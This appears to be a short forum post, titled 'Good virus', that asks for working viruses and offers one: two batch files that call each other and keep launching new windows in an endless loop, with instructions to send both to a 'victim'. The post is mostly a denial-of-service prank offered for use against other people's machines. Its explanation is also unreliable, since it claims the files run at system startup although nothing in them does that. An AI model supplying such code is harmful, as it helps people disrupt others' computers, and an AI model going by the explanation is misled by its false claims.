Good virus

try to make it orignal and working and plz exlplain working if possible
here goes the first one!!!!
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open notepad type following commands
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start % 0
call b.bat
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save file as a.bat
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now open notepad again and type this command
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call a.bat
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save file as b.bat

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send both files to victim
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working-
when victim runs either of the files say he opened a.bat
then a.bat starts to load up at system startup and calls b.bat which calls a.bat hence causing a infinite loop to start.
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cure-
to stop this virus press ctrl+c it breaks the operation and delete any of the files i.e., a.bat or b.bat
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